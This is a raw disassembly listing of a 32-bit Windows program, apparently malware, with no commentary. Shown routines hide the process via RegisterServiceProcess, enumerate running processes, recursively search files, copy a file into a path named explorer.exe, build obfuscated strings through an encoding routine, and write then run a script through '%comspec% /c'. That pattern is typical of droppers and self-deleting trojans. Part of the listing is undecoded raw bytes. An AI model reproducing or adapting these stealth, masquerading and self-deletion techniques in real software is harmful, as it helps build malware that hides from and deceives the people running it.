		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CF40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CFC0:				; CODE XREF: ___:loc_40228Ej
		push	0FFFFFFFFh
		push	offset loc_43A086
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40D040	proc near		; CODE XREF: sub_40227Aj

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_511AE4
		push	esi
		push	offset aS_1	; "%s\\*"
		push	104h
		push	eax
		call	edi
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2890000h
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D107


loc_40D090:				; CODE XREF: sub_40D040+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D0F7
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40D0AA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D0F7
		cmp	al, 2Eh
		jz	short loc_40D0F7


loc_40D0AA:				; CODE XREF: sub_40D040+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_444684
		push	104h
		push	ecx
		call	edi
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_40227A
		add	esp, 2Ch
		mov	ebp, eax


loc_40D0F7:				; CODE XREF: sub_40D040+55j
					; sub_40D040+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		nop
		call	near ptr 2880000h
		test	eax, eax
		jnz	short loc_40D090


loc_40D107:				; CODE XREF: sub_40D040+4Ej
		push	ebx
		nop
		call	near ptr 2870000h
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_444684
		push	104h
		push	eax
		call	edi
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2890000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D19B


loc_40D148:				; CODE XREF: sub_40D040+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_40152D
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 2880000h
		test	eax, eax
		jnz	short loc_40D148


loc_40D19B:				; CODE XREF: sub_40D040+106j
		push	ebx
		nop
		call	near ptr 2870000h
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40D040	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D210	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40D210	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D3C0:				; CODE XREF: ___:004013CFj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		call	near ptr 2891B6Eh
		nop
		push	eax
		nop
		call	near ptr 28910CAh
		mov	eax, dword_449070
		test	eax, eax
		jz	loc_40D4E3
		mov	ecx, dword_44906C
		test	ecx, ecx
		jz	loc_40D4E3
		mov	ecx, dword_448F38
		test	ecx, ecx
		jz	loc_40D4E3
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_449068, eax
		jz	loc_40D4E3
		push	ebp
		push	offset dword_448F40
		push	eax
		xor	ebp, ebp
		mov	dword_448F40, 128h
		call	dword_44906C	; Process32First
		test	eax, eax
		jz	loc_40D4CC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_511AE0
		push	edi


loc_40D44D:				; CODE XREF: ___:0040D4C7j
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_448F64
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_448F64
		add	edx, ecx
		push	edx
		call	esi
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4B3
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_448F64
		mov	ecx, ebx
		call	sub_40168B
		push	eax
		call	esi
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D4B4


loc_40D4B3:				; CODE XREF: ___:0040D48Bj
		inc	ebp


loc_40D4B4:				; CODE XREF: ___:0040D4B1j
		mov	eax, dword_449068
		push	offset dword_448F40
		push	eax
		call	dword_448F38	; Process32Next
		test	eax, eax
		jnz	short loc_40D44D
		pop	edi
		pop	esi
		pop	ebx


loc_40D4CC:				; CODE XREF: ___:0040D437j
		mov	ecx, dword_449068
		push	ecx
		nop
		call	near ptr 2840A54h
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D4E3:				; CODE XREF: ___:0040D3E6j
					; ___:0040D3F4j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D540:				; CODE XREF: ___:00401FAFj
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		nop
		call	near ptr 28A0C6Fh
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_5118F0
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 28A079Eh
		mov	ebx, dword_5118E0
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 28A0000h
		push	esi
		call	ebx


loc_40D606:				; CODE XREF: ___:0040D5A9j
					; ___:0040D5EBj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D660	proc near		; CODE XREF: sub_401B6Dj

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C71
		push	eax
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015E1
		lea	ecx, [esp+1A8h+var_184]
		call	sub_40142E
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C71
		push	eax
		push	0
		nop
		call	near ptr 2891B6Eh
		push	eax
		call	near ptr 28910CAh
		nop
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		nop
		call	near ptr 27E0977h
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D751
		mov	edi, dword_511918
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_449074, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_449070, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_44906C, eax
		call	edi
		mov	dword_448F38, eax
		mov	eax, dword_449074
		test	eax, eax
		jz	short loc_40D751
		push	ebx
		push	0
		call	eax


loc_40D751:				; CODE XREF: sub_40D660+A7j
					; sub_40D660+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402135
		test	eax, eax
		jnz	short loc_40D788
		mov	al, byte_44915F
		test	al, al
		jz	short loc_40D788
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D788:				; CODE XREF: sub_40D660+10Dj
					; sub_40D660+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019C4
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_40D660	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h
		dd 8D50FFFFh, 0A8248Ch,	10680000h, 5100444Bh, 0E67FE890h
		dd 3D8B001Eh, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
		dd 43283AE8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CA3h
		dd 85D6FF50h, 0A0D074C0h, 4497BBh, 74C0845Dh, 0D8358B39h
		dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B08h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3DCAh,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 0E8900000h,	23E29CBh, 874C085h, 0E890006Ah
		dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1,	0FF3795E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3781E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DBF0	proc near		; CODE XREF: sub_401195j
		mov	al, byte_449161
		test	al, al
		jz	short loc_40DC04
		push	offset word_449162
		call	near ptr 27E0DEAh
		nop


loc_40DC04:				; CODE XREF: sub_40DBF0+7j
		mov	al, 1
		retn
sub_40DBF0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DC20	proc near		; CODE XREF: sub_401E79j

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DC20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2891B6Eh
		push	eax
		call	near ptr 28910CAh
		nop
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		nop
		call	near ptr 27D0000h
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017EE
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_444684
		push	ecx
		nop
		call	near ptr byte_5FC011
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		nop
		call	near ptr 286040Ah
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E178
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_40142E
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019C4
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+720h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+728h+var_4], 2
		call	sub_4019C4
		add	esp, 48h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019C4
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+72Ch+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+734h+var_4], 4
		call	sub_4019C4
		add	esp, 54h
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019C4
		mov	[esp+6FCh+var_6C8], eax
		mov	byte ptr [esp+6FCh+var_4], 6
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+724h+var_5D4]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 4Ch
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019C4
		mov	[esp+710h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+744h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+74Ch+var_4], 8
		call	sub_4019C4
		add	esp, 6Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		push	18h
		push	5
		push	4Eh
		push	14h
		mov	byte ptr [esp+744h+var_4], 9
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019C4
		mov	[esp+75Ch+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+774h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+77Ch+var_4], 0Ah
		call	sub_4019C4
		add	esp, 9Ch
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019C4
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017EE
		push	eax
		lea	edx, [esp+70Ch+var_6AC]
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		push	edx
		call	sub_40102D
		add	esp, 34h
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		lea	ecx, [esp+6E0h+var_64C]
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017EE
		push	eax
		push	esi
		nop
		call	near ptr 27E0000h
		push	esi
		nop
		call	near ptr 2840A54h
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		call	near ptr 2891B6Eh
		nop
		push	eax
		call	near ptr 28910CAh
		nop
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		nop
		call	near ptr byte_5FC011
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [esp+700h+var_110]
		push	eax
		push	0
		call	near ptr 27F043Fh
		nop
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E178:				; CODE XREF: sub_40DC20+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DC20	endp

; ---------------------------------------------------------------------------
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E2F0	proc near		; CODE XREF: sub_401730j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
